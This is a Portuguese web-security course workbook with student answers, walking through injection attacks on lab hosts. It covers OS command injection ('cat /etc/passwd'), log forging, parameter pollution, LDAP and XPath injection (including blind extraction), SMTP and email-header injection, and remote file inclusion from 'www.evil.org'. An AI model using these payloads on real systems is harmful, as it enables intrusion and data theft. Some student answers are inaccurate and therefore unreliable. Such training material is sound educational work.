Sessão 7: Ataques de injeção

1. Atividade – Injeção de comandos de sistema operacional

Esta atividade tem por objetivo ilustrar as diversas técnicas que podem ser usadas para injeção de comandos de sistema operacional. Para iniciá-la, carregue as máquinas virtuais do aluno e do servidor (Fedora) e execute o roteiro na primeira delas. O propósito desta atividade é introduzir os conceitos de ataques de injeção de comandos de sistema operacional.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse http://oscmdi.esr.rnp.br/.
3. Digite `www.esr.rnp.br` no campo Nome de domínio e clique em `Resolver nome`.
4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Digite `www.esr.rnp.br;` no campo `Nome de domínio`, clique em `Resolver nome` e veja se o resultado difere do Passo 3. Que se pode concluir com isso?

> **Resposta:** não tem diferença com isso pode-se concluir que a página está executando comandos no shell

6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Forneça o seguinte texto para o campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br;cat /etc/passwd
```

8. A injeção de comando de sistema operacional funcionou?

> **Resposta:** sim

9. Pressione Alt + [Seta para esquerda], para retornar à página anterior.

Caracteres especiais

O objetivo desta atividade é testar os diversos caracteres especiais que permitem submissão de múltiplos comandos ao sistema operacional.

1. Digite o seguinte texto no campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br | ls -l /
```

2. Como a saída do comando `ls` foi concatenada à original?

> **Resposta:** mostra apenas o resultado do comando ls -l pois foi utilizado o | e com isso o resultado da execução do comando dig foi enviado para o comando ls que não tinha nada para fazer com ele.

3. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
4. Digite o seguinte texto no campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br & ls -l /
```

5. Como a saída do comando `ls` foi concatenada à original?

Resposta: mostra os dois resultados pois o & obriga a execução de um independente do outro

6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Digite o seguinte texto no campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br && ls -l /
```

8. O que mudou em relação ao Passo 14?

Resposta: mostra os dois resultados porque o operador && só deixa executar o segundo comando caso o primeiro retorne sucesso na execução.

9. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
10. Digite o seguinte texto no campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br || ls -l /
```

11. Por que o resultado do comando injetado não foi exibido?

Resposta: mostra apenas o resultado do comando dig pois foi utilizado o || só irá executar o segundo comando caso o primeiro falhe.

12. Pressione Alt + [Seta para esquerda], para retornar à página anterior.

Introdução de pausa na execução

Nesta atividade, a introdução de pausas na execução, para detecção de aplicações vulneráveis, será explorada.

1. Digite o seguinte texto no campo `Nome de domínio` e clique em `Resolver nome`:

```
www.esr.rnp.br; ping -c 15 localhost
```

2. Por que a pausa acontece?

Resposta: isso acontece porque o navegador só consegue mostrar o resultado após a execução de 15 pings.

3. Encerre o Firefox.

2. Atividade – Injeção em trilhas de auditoria

O propósito da presente atividade é introduzir ao aluno os métodos que podem ser usados para injeção de registros em trilhas de auditoria, quando estas são armazenadas em arquivos de texto puro. Todos os passos devem ser executados na máquina virtual do aluno, e é altamente recomendado que se tente traçar a estratégia de exploração, antes de seguir o roteiro fornecido.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://logi.esr.rnp.br/logfile` e veja os registros contidos na trilha de auditoria.
3. Acesse `http://logi.esr.rnp.br`.

4. Forneça `esr` e `senha` para os campos `Usuário` e `Senha`, respectivamente, e clique em `Login`.
5. Clique em `Retornar à página de login`.
6. Acesse novamente `http://logi.esr.rnp.br/logfile` e clique no ícone `Reload current page`, caso a página não seja atualizada.
7. Note que o identificador de usuário foi adicionado ao final do registro.
8. Acesse novamente `http://logi.esr.rnp.br`.
9. Inicie o WebScarab, presente no menu `03 - Web Application Analysis`.
10. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab.
11. No WebScarab, clique na aba Proxy e marque `Intercept Requests`.
12. Retorne ao Firefox, forneça `admin` e `senha` para os campos `Usuário` e `Senha`, respectivamente, e clique em `Login`.
13. No WebScarab, acesse a aba `Text` na segunda seção da tela de interceptação.
14. Altere o valor do parâmetro `userid` para:

    ```
    admin.%0a[dd/mm/yyyy - hh:mm:ss] Conta admin se conectou com sucesso
    ```

    Tal que `dd/mm/yyyy` e `hh:mm:ss` representam uma data e hora de ontem, respectivamente.
15. Clique em `Accept changes`.
16. Desmarque `Intercept requests`.
17. No Firefox, clique em `Retornar à página de login`.
18. Acesse novamente `http://logi.esr.rnp.br/logfile` e clique no ícone `Reload current page`, caso a página não seja atualizada. O registro foi injetado com sucesso?

Resposta: sim

19. Clique no Multiproxy SwitchOmega, na barra de estado, e selecione `Direct`.
20. Encerre o WebScarab.
21. Encerre o Firefox.

3. Atividade – Poluição de parâmetros HTTP

Esta atividade visa ilustrar o ataque de poluição de parâmetros HTTP, além das regras de precedência que são seguidas, quando parâmetros de mesmo nome são submetidos em uma requisição. Todos os passos devem ser executados na máquina virtual do aluno, e é altamente recomendado que se tente traçar a estratégia de exploração, antes de seguir o roteiro fornecido.

Precedência em caso de parâmetros repetidos

Esta atividade tem o objetivo de verificar a precedência de parâmetros repetidos adotada por diferentes tecnologias web.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://hpp.esr.rnp.br/`.
3. Digite `123456` para o número da enquete e clique em `Prosseguir`.
4. Observe a URL na barra de endereços.

5. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
6. Digite `6789` para o número da enquete e clique em `Prosseguir`.
7. Observe a URL na barra de endereços.
8. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
9. Digite a seguinte URL na barra de endereços e pressione `Enter`:

```
http://hpp.esr.rnp.br/build_poll.php?numero=123456&numero=6789&Submit1=Prosseguir
```

10. Qual dos parâmetros foi considerado pela aplicação?

> **Resposta:** 6789

11. Troque a ordem das instâncias de `numero`, na barra de endereços:

```
http://hpp.esr.rnp.br/build_poll.php?numero=6789&numero=123456&Submit1=Prosseguir
```

12. O resultado foi o esperado da linguagem PHP?

> **Resposta:** mostrou a página da enquete 123456 (última ocorrência). Esta informação está na página 321 da apostila

13. Acesse o WebGoat, por meio da barra de atalhos.
14. Forneça `guest` para `Usuário e Senha`.
15. Clique em `Start WebGoat`.
16. Clique em `Access Control Flaws` no menu do lado esquerdo da tela.
17. Clique em `Using an Access Control Matrix`. Não esqueça de clicar no link `Restart this Lesson` antes de continuar.
18. Observe a URL na barra de endereços e anote os valores dos parâmetros `Screen e Menu`.
19. Clique em `Bypass a Path Based Access Control Scheme`.
20. Observe a URL na barra de endereços e anote os valores dos parâmetros `Screen e Menu`.
21. Digite a seguinte URL na barra de endereços e pressione `Enter`:

```
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=168&Screen=175&menu=200
```

Qual das instâncias de `Screen` foi considerada pela aplicação?

> **Resposta:** a 168

22. Digite o seguinte URL na barra de endereços e pressione `Enter`:

```
http://webgoat.esr.rnp.br:8080/webgoat/attack?Screen=175&Screen=168&menu=200
```

23. O resultado foi o esperado das tecnologias JSP/Tomcat?

Resposta: mostrou a instância 175 (primeira ocorrência). Agiu conforme esperado para a tecnologia JSP/Tomcat. Esta informação está na página 321 da apostila.

24. Digite o seguinte URL na barra de endereços e pressione `Enter`:

```
http://www.google.com/search?q=escola&q=superior&q=redes
```

25. Como os parâmetros foram tratados neste caso?

Resposta: o google colocou os três parâmetros `q` como um só.

Poluição de parâmetros HTTP

Nesta parte da atividade, o ataque propriamente dito será exercitado.

1. Acesse `http://hpp.esr.rnp.br/`.
2. Digite `123456` para o número da enquete e clique em `Prosseguir`.
3. Observe a URL na barra de endereços.
4. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posição o parâmetro `poll_id` ocupa na `query string`?

Resposta: segunda posição

5. Clique em `XSS` e veja a página exibida.
6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Clique em ` Injeção de SQL ` e veja a página exibida.
8. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
9. Clique em `CSRF` e veja a página exibida.
10. Acesse `http://hpp.evil.org/`.
11. Passe o mouse sobre o link e veja a URL associada na barra de estado. Que parâmetro adicional é passado em relação ao Passo 3?

Resposta: o campo número que tem o mesmo valor que o poll_id

12. Clique em `Vote no melhor ataque!` e observe que a página em `hpp.esr.rnp.br` é acessada.
13. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou em relação ao Passo 4?

Resposta: foi inserido um id ao final de cada URL com valor fixo em 3

14. Clique em `XSS` e veja a página exibida.
15. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
16. Clique em `Injeção de SQL` e veja a página exibida.
17. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
18. Clique em `CSRF` e veja a página exibida.

19. Qual o resultado do ataque?

Resposta: agora você sempre vota no ataque 3, independente do link clicado.

20. Acesse `http://hpp.esr.rnp.br/index2.php`.
21. Digite `123456` para o número da enquete e clique em Prosseguir.
22. Observe a URL na barra de endereços.
23. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Que posição o parâmetro `poll_id` ocupa na `query string`?

Resposta: primeiro parâmetro

24. Digite o seguinte na barra de endereços e pressione `Enter`:

```
http://hpp.esr.rnp.br/build_poll2.php?numero=123456%26id%3d3
```

25. Passe o mouse sobre cada link e veja a URL associada na barra de estado. Em que ordem estão as instâncias do parâmetro `id`?

Resposta: segundo e terceiro porém o segundo valor está fixo no item 3

26. Clique em XSS e veja a página exibida. O ataque funcionou?

Resposta: não

27. Acesse `http://hpp.evil.org/index2.php`.
28. Passe o mouse sobre o link e veja a URL associada na barra de estado. Qual o propósito do caractere `#` no final da URL?

Resposta: fazer com que o navegador ignore qualquer parâmetro após o #. Seria o mesmo que um comentário em um arquivo de configuração

29. Clique em `Vote no melhor ataque!` e observe que a página em `hpp.esr.rnp.br` é acessada.
30. Passe o mouse sobre cada link e veja a URL associada na barra de estado. O que mudou em relação ao Passo 25?

Resposta: o segundo campo id passou a ser comentado

31. Clique em `XSS` e veja a página exibida. O ataque funcionou?

Resposta: sim. O usuário passou a votar no ataque CSRF independente do link que venha a clicar.

32. Encerre o Firefox.

4. Atividade – Injeção em filtros LDAP

A presente atividade tem por objetivo ilustrar ataques de injeção em filtros LDAP, tecnologia muito usada em sistemas de gestão de identidades e de controle de acesso.

Todos os passos devem ser executados na máquina virtual do aluno, e é altamente recomendado que se tente traçar a estratégia de exploração, antes de seguir o roteiro fornecido.

Injeção em filtros baseados em operador `&`

Esta parte da atividade aborda as técnicas para injeção em filtros baseados em operador `&`, quando o servidor permite que tais ataques ocorram.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://ldap.esr.rnp.br/`.
3. Digite `esruser` e `esruser` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.
4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Digite `esruser` e `senha` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.
6. Pelos resultados obtidos nos Passos 3 e 5, que tipo de operador está sendo usado pelo filtro?

Resposta: (&(uid=esruser)(password=esruser))

7. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
8. Forneça `esruser(` e `esruser` para os campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`. O que se infere pelo erro exibido?

Resposta: será montado a consulta (&(uid=esruser()(password=esruser)) a qual não obedece as regras de um filtro ldap

9. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
10. Digite `esruser)(&)` e `s` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.
11. Por que o registro foi exibido, uma vez que a senha informada é diferente?

Resposta: será montado a consulta (&(uid=esruser)(&))(password=s)) a qual esta correta

12. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
13. Digite `*)(uid=root)` e `s` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`. Observe que este ataque pressupõe o conhecimento do atributo `uid`.
14. Qual seria a estrutura geral do filtro usado pela aplicação?

Resposta: será montado a consulta (&(uid=*)(uid=root)(&))(password=s))

Injeção em filtros baseados em operador `|`

Neste exercício, as técnicas de injeção em filtros baseados em operador `|` são exploradas.

1. Acesse `http://ldap.esr.rnp.br/index2.php`.
2. Marque `Impressora` e clique em `Listar dispositivos`.

3. Observe a URL exibida no navegador web.
4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Teste várias combinações de itens, para observar os resultados e os parâmetros utilizados.
6. Digite a seguinte URL na barra de endereços e clique na seta verde:

```
http://ldap.esr.rnp.br/search2.php?imp=impressora%28&Submit1=Listar+dispositivos
```

7. O que se infere pela mensagem exibida?

Resposta: será montado o filtro '(|(l=xpto)(l=impressora))'. Ao colocar o caractere `(` o filtro ficou '(|(l=xpto)(l=()', ou seja, o parâmetro passou a considerar o valor de l como em branco porém destaca-se que o filtro é válido por isso aparece que não tem resultados encontrados.

8. Digite a seguinte URL na barra de endereços e clique na seta verde:

```
http://ldap.esr.rnp.br/search2.php?imp=impressora)(%26&Submit1=Listar+dispositivos
```

9. Explique a razão do ataque funcionar.

Resposta: o %26 é o caractere & assim o filtro ficou '(|(l=xpto)(l=)(&))', ou seja, l igual a em branco porém o & coloca um novo filtro onde tudo será listado.

10. Qual seria a estrutura geral do filtro usado pela aplicação?

Resposta: '(|(l=xpto)(l=impressora) (l=scanner) (l=plotter))'. Dica: ver página 327

11. Encerre o Firefox.

5. Atividade – Injeção em filtros LDAP às cegas

Quando o resultado da injeção em filtros LDAP não é exibido ao usuário, uma técnica às cegas deve ser empregada, para extração de informação, conforme será visto nesta atividade. Todos os passos do roteiro devem ser executados na máquina virtual do aluno, e é recomendado tentar traçar a estratégia de exploração antes de seguir as instruções fornecidas.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://ldap.esr.rnp.br/`.
3. Digite `esruser` e `esruser` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.
4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Digite `esruser` e `senha` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.
6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Qual seria a estrutura geral do filtro usado pela aplicação, conforme visto na atividade anterior?

Resposta: (&(uid=esruser)(password=esruser))

8. Forneça `esruser)(objectClass=user` e `esruser` para os campos `ID` e `Senha`, respectivamente, e clique em `Buscar Informação`.

9. A classe do objeto é `user` ?

Resposta: não é do tipo `user` . O filtro ficou (&(uid=esruser)(objectClass=user) (password=esruser))

10. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
11. Forneça `esruser)(objectClass=account` e `esruser` para os campos `ID` e `Senha` , respectivamente, e clique em `Buscar Informação` .
12. A classe do objeto é `account` ?

Resposta: sim já que a consulta retornou um resultado.

13. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
14. Para descobrir se existe um atributo `phone` , digite `esruser)(phone=*` e `esruser` nos campos `ID` e `Senha` , respectivamente, e clique em `Buscar Informação` . O que se conclui?

Resposta: não existe o atributo phone. O filtro ficou (&(uid=esruser)(phone=*) (password=esruser))

15. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
16. Realize teste similar ao do Passo 14, para verificar a existência do atributo `gecos` .
17. Fixe o valor do campo Senha para `esruser` e varie o valor de `ID` , conforme exemplo abaixo, para descobrir a primeira letra do atributo `gecos` :

```
esruser)(gecos=A*
esruser)(gecos=B*
*
esruser)(gecos=a*
*
```

18. Repita o Passo 17, para as demais posições do atributo.
19. Qual o valor do atributo, para o objeto `esruser` ?

Resposta: o valor do campo gecos para o esruser é `EU` . o campo gecos POSIX é tipicamente utilizado para gravar informações sobre uma conta de usuário como o seu nome real ou telefone.

20. Na página inicial, digite `esruser)(homeDirectory=*` e `esruser` nos campos `ID` e `Senha` , respectivamente, e clique em `Buscar Informação` . O campo existe?

Resposta: sim

21. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
22. Repita o Passo 20, trocando o valor de `ID` para `esruser)(homeDirectory=/home/esruser` . O que acontece?

Resposta: a consulta funciona pois o valor do campo homeDirectory para o usuário esruser esta correto

23. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
24. Repita o Passo 20, trocando, agora, o valor de `ID` para `esruser)(homeDirectory=/*`.
25. Por que nenhum elemento foi encontrado?

> **Resposta:** por conta do `/`. A primeira questão é que o atributo homeDirectory deve estar com as propriedades `Ordering` e `Substring Rule` para aceitar o uso do caractere curinga `*`. **Lembre-se que no php** / é utilizado para comentários de várias linhas o que explicaria o fato de não ter funcionado.

26. Encerre o Firefox.

6. Atividade – Injeção de comandos SMTP e de cabeçalhos de e-mail

Esta atividade visa ilustrar ataques de injeção de comandos SMTP e de cabeçalhos de e-mail, que são comuns em páginas que aceitam comentários e perguntas de usuários do sistema. Realize todos os exercícios na máquina virtual do aluno e procure descobrir a estratégia de exploração, antes de seguir o roteiro.

Adulteração de destinatário

Esta parte da atividade ilustra como explorar uma aplicação que define o destinatário da mensagem, com base em um campo controlado pelo usuário.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://maili.esr.rnp.br/`.
3. Pressione Ctrl+U, para visualizar o código HTML.
4. Procure pelo campo `realto` e veja o valor dele.
5. Abra uma janela de terminal.
6. Conecte-se ao servidor, por meio de SSH:

```
~$ ssh supervisor@192.168.213.200
```

7. Forneça a senha `supervisor`.
8. Acesse a caixa de correio do usuário `supervisor`:

```
~$ mail
```

9. Abra uma segunda janela de terminal.
10. Conecte-se ao servidor, por meio de SSH:

```
~$ ssh outro@192.168.213.200
```

11. Forneça a senha `outro`.
12. Acesse a caixa de correio do usuário `outro`:

```
~$ mail
```

13. Retorne ao Firefox e preencha os campos do formulário conforme indicado abaixo:
    - `De`: informe seu `nome` acompanhado de `@localhost`

- `Assunto` : informe `Primeira mensagem`
- `Mensagem` : informe `teste`

14. Em seguida, clique em `Enviar mensagem` .
15. Clique em `Retornar à página anterior` .
16. Volte ao terminal do usuário `supervisor` e acesse novamente a caixa de correio:

```
~$ mail
```

17. Visualize a mensagem, pressionando `1` . Para sair aperte `q` .
18. Retorne ao Firefox e retorne para a página inicial para criar uma nova mensagem.
19. Antes de enviar uma nova mensagem abra o WebScarab e no Firefox, utilizando o plugin MultiProxy, selecione WebScarab.
20. No WebScarab clique em `Proxy` e marque a opção `Intercept Request` . Retorne ao Firefox e componha uma mensagem com o assunto `Segunda mensagem` e clique no botão `Enviar Mensagem`
21. Será aberta a tela `Edit Request` do WebScarab, selecione a aba `Text` e troque o valor do parâmetro `realto=supervisor%40localhost` para `realto=outro%40localhost` (mantenha os demais valores que são separados por `&`) e clique em `Accept changes` . Clique em `Accept changes` caso necessário até que a requisição seja enviada completamente.
22. Acesse o terminal do usuário `supervisor` e caso esteja com o cliente de email aberto aperte `h` no prompt (caso não esteja aberto basta executar o comando `mail`). A mensagem foi enviada para esta caixa de correio?

Resposta: não, a mensagem foi enviada para a caixa outro@localhost

23. Acesse o terminal do usuário `outro` e acesse a caixa de correio dele:

```
~$ mail
```

24. Pressione `1` , para visualizar a mensagem.

Injeção de cabeçalhos de e-mail

Nesta parte da atividade, o uso do parâmetro `additional_headers` será explorado, para enviar a mensagem a destinatários adicionais.

1. Retorne à janela do Firefox. Clique `Accept changes` caso a janela do WebScarab apareça novamente.
2. Crie uma mensagem, com título `Terceira mensagem` , e clique em Enviar Mensagem.
3. Será aberta a tela `Edit Request` do WebScarab, selecione a aba `Text` e troque o valor do parâmetro `from=<seunome>%40localhost` para `from=new%40esr.rnp.br%0d%0aCc%3aoutro%40localhost` (mantenha os demais valores que são separados por `&`) e clique em `Accept changes` . Clique em `Accept changes` caso necessário até que a requisição seja enviada completamente.
4. Acesse o terminal do usuário `supervisor` e pressione `h` .
5. Pressione `2` para ler a mensagem.
6. Acesse o terminal do usuário `outro` e pressione `h` .
7. Pressione `2` para ler a mensagem.

8. Retorne ao WebScarab, clique em `Proxy` e desmarque a opção `Intercept Request`. Feche o WebScarab e no plugin MultSwitch do Firefox selecione Direct.

Injeção de comandos SMTP

O objetivo desta parte da atividade é fixar os conceitos de injeção de comandos SMTP, por meio da exploração de uma aplicação que interage diretamente com o servidor de e-mails.

1. Retorne ao Firefox e acesse `http://maili.esr.rnp.br/index2.php`.
2. Crie uma mensagem com o assunto `Quarta mensagem` e preencha o corpo dela com o seguinte texto:

```
Quarta mensagem.
.
Este texto sera cortado.
```

3. Clique em Enviar mensagem.
4. Clique em Retornar à mensagem anterior.
5. Acesse o terminal do usuário `supervisor` e pressione `h`.
6. Pressione `3` para visualizar a mensagem e a observe atentamente. O texto inteiro submetido por meio da aplicação aparece ou foi cortado? Por que isso aconteceu? O que significa?

> **Resposta:** a mensagem foi cortada. Isso acontece porque o sinal de `.` no shell onde se edita a mensagem e após um enter significa para o shell que a mensagem acabou e que esta se aguardando novos comandos.

   Retorne ao Firefox e inicie a composição de nova mensagem com título `Quinta mensagem` e com o corpo definido abaixo:

```
Quinta mensagem.
.
MAIL FROM:<evil@evil.org>
RCPT TO:<outro@localhost>
DATA
From:evil@evil.org
To:outro@localhost
Subject: Mensagem injetada!
 Esta mensagem veio de carona!
```

7. Clique em Enviar mensagem.
8. Acesse o terminal do usuário `supervisor` e pressione `h`.
9. Pressione `4` para ler a mensagem.
10. Acesse o terminal do usuário `outro` e pressione `h`.
11. Pressione `3` para ler a mensagem.
12. Feche as janelas de terminal.
13. Encerre o Firefox.

7. Atividade – Injeção de XPath

Esta atividade visa familiarizar o aluno com a linguagem XPath e com os ataques de injeção nela baseados. Os exercícios fazem referência ao documento XML ilustrado na Figura 7.18 e devem ser realizados na máquina virtual do aluno. Recomenda-se que se tente traçar a estratégia de exploração, antes de seguir o roteiro disponibilizado.

Introdução à linguagem XPath

Nesta atividade, serão realizadas diversas consultas baseadas em XPath.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://xpathi.esr.rnp.br/ex.php`.
3. Verifique o nó diretamente sob a raiz, digitando a expressão `/*`, e clique em Pesquisar.
4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Altere a pesquisa para `/child::*` e clique em Pesquisar. O que muda?

Resposta: nada pois estamos buscando os filhos da raiz

6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Forneça a expressão `/users/*` e clique em Pesquisar. Houve alguma alteração no resultado? Explique.

Resposta: não porque todos os objetos são filhos de /users

8. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
9. Digite `/user` e clique em Pesquisar. Por que a consulta não devolveu resultados?

Resposta: porque faltou o critério de pesquisa, como o `*`

10. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
11. Altere a expressão para `//user` e clique em Pesquisar. Por que agora foram listados nós?

Resposta: está se utilizando caminho relativo assim irá buscar os objetos que forem do tipo user independente de sua localização na árvore.

12. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
13. Digite `//user/name` e clique em `Pesquisar`. Que outra expressão retornaria o mesmo resultado?

Resposta: /users/user/name

14. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
15. Forneça `//user[position()=3]/name` e clique em `Pesquisar`.
16. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
17. Digite `count(//name)` e clique em `Pesquisar`.
18. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
19. Digite `//user[position()<=3]/name` e clique em `Pesquisar`.

Injeção de XPath

Esta parte do exercício aborda o ataque de injeção de XPath.

1. Acesse `http://xpathi.esr.rnp.br/`.
2. Forneça `esruser` e `esruser` para os campos `ID` e `Senha`, respectivamente, e clique em `Buscar informação`.

3. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
4. Repita o Passo 2, mas fornecendo `senha` para o campo Senha.
5. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
6. Digite `]` e `]` nos campos `ID` e `Senha`, respectivamente, e clique em `Buscar informação`. Algum erro aconteceu?

Resposta: nenhum erro. O filtro xpath seria: xml→xpath('/users/user[account= `]` and password= `]`]');

7. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
8. Forneça `" or true() or "` e `senha` para os campos `ID` e `Senha`, respectivamente, e clique em `Buscar informação`. O que aconteceu?

Resposta: foi logado como usuário esruser. O filtro seria: xml→xpath('/users/user[account= `" or true() or "` and password= `senha`]');

9. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
10. Repita o Passo 8, mas fornecendo `" or position()=2 or "` para o campo `ID`.
11. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
12. Repita o Passo 10, mas alterando o valor de position(), até que nenhum valor seja encontrado.
13. Encerre o Firefox.

8. Atividade – Injeção de XPath às cegas

Dando continuidade à atividade anterior, esta atividade ilustrará a versão às cegas do ataque de injeção de XPath.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://bxpathi.esr.rnp.br/`.
3. Digite `Campinas` no campo `Cidade` e clique em `Contar`. Quantos usuários existem?

Resposta: total de cidades pesquisadas = 2

4. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
5. Digite `Brasilia` no campo `Cidade` e clique em `Contar`. Quantos usuários existem?

Resposta: total de cidades pesquisadas = 0

6. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
7. Forneça `Campinas" and "a"="a` para o campo `Cidade` e clique em `Contar`. Quantos usuários foram localizados? Por que isso aconteceu?

Resposta: : total de cidades pesquisas = 2

8. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
9. Forneça `Campinas" and true() and "a"="a` para o campo `Cidade` e clique em `Contar`. O resultado obtido corresponde ao esperado?

Resposta: total de cidades pesquisas = 2. Sim pois foi utilizado o operador `and`

10. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
11. Descubra o tamanho do nome do nó de contexto. Para isso execute a linha abaixo várias vezes trocando o valor `1` para `2`, `3` ... até que a consulta retorne um valor diferente de 0 para `Total de Usuários da cidade pesquisada`:

```
Campinas" and string-length(name(/*))=1 and "a"="a
```

12. Qual o tamanho encontrado?

Resposta: 5 elementos

13. Encontre a primeira letra do nome do nó de contexto, fornecendo o texto abaixo com diferentes letras minúsculas na posição marcada em negrito:

```
Campinas" and substring(name(/*),1,1)='a' and "a"="a
```

14. Qual o valor da primeira letra?

Resposta: letra u

15. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
16. Repita o Passo 13, variando o segundo argumento numérico de 2 a 4, para achar o valor das demais letras. Qual o nome do nó de contexto?

Para isso execute o vetor abaixo várias vezes incrementando o valor do segundo argumento sempre que identificar uma nova letra. Para identificar uma nova letra a consulta deve retornar um valor diferente de 0 para `Total de Usuários da cidade pesquisada`:

Exemplo da sequencia de execução para uma string `bca`:

```
Campinas" and substring(name(/*),1,1)='a' and "a"="a
Campinas" and substring(name(/*),1,1)='b' and "a"="a

Campinas" and substring(name(/*),1,2)='ba' and "a"="a
Campinas" and substring(name(/*),1,2)='bb' and "a"="a
Campinas" and substring(name(/*),1,2)='bc' and "a"="a

Campinas" and substring(name(/*),1,3)='bca' and "a"="a
```

+

Resposta: user

```
Campinas" and substring(name(/*),1,2)='us' and "a"="a
Campinas" and substring(name(/*),1,3)='use' and "a"="a
Campinas" and substring(name(/*),1,4)='user' and "a"="a
```

+ . Verifique se o nó possui atributos, fornecendo o texto abaixo, com valores numéricos crescentes para a posição marcada em negrito:

+

```
Campinas" and count(attribute::*)=0 and "a"="a
```

+ . Quantos atributos existem para o nó de contexto?

+

Resposta: valor 1 portanto 2 nós.

+ . Descubra o tamanho do nome do atributo, fornecendo o texto abaixo, com valores numéricos crescentes para a posição marcada em negrito:

+

```
Campinas" and string-length(name(attribute::*))=0 and "a"="a
```

+ . Qual o tamanho do nome do atributo?

+

Resposta: valor 2 portanto 3 nós.

+ . Encerre o Firefox.

9. Atividade – Inclusão de arquivos

A presente atividade tem por objetivo ilustrar ataques de inclusão de arquivos locais e remotos, em tempo de execução. O roteiro fornecido deve ser seguido, empregando-se a máquina virtual de aluno.

1. Inicie o Firefox, presente no menu `Usual application\Internet`.
2. Acesse `http://filei.esr.rnp.br/`.
3. Selecione `Brasil` e clique em `Prosseguir`.
4. Observe a URL exibida na barra de endereços.
5. Pressione Alt + [Seta para esquerda], para retornar à página anterior.
6. Selecione `Estados Unidos` e clique em `Prosseguir`. O que mudou em relação à URL vista no Passo 4?

Resposta: o valor da variável country que saiu de br para us

7. Digite a seguinte URL na barra de endereços e clique no botão verde:

```
http://filei.esr.rnp.br/select.php?country=%2Fetc%2Fpasswd&Submit1=Prosseguir
```

8. O que aconteceu? Por que nada foi exibido?

Resposta: foi exibido uma página em branco. Porque o caminho deve estar errado /etc/passwd

9. Suponha que existe um arquivo `evil.php`, gravado maliciosamente no servidor. Digite a seguinte URL na barra de endereços e clique no botão verde, para inclui-lo:

```
http://filei.esr.rnp.br/select.php?country=evil&Submit1=Prosseguir
```

10. O ataque foi bem-sucedido?

Resposta: sim

11. Repita o Passo 9, mas fornecendo a URL a seguir:

```
http://filei.esr.rnp.br/select.php?country=select&Submit1=Prosseguir
```

12. O que contém a página de resposta? Qual a provável razão do resultado obtido?

Resposta: foi exibida uma página em branco. Não deve existir a página select.php incluída a partir do parâmetro country

13. Digite a seguinte URL na barra de endereços e clique no botão verde:

```
http://filei.esr.rnp.br/select.php?country=http%3A%2F%2Fwww.evil.org%2Fevil&Submit1=Prosseguir
```

14. Que arquivo remoto foi incluído?

Resposta: a página http://www.evil.org

15. Acesse `http://filei.esr.rnp.br/index2.php`.
16. Selecione `Brasil` e clique em `Prosseguir`.
17. Observe a URL exibida na barra de endereços e diga o que mudou em relação ao início da atividade.

Resposta: foi inserida a extensão da página nos valores do parâmetro country, ou seja, br.php ou us.php

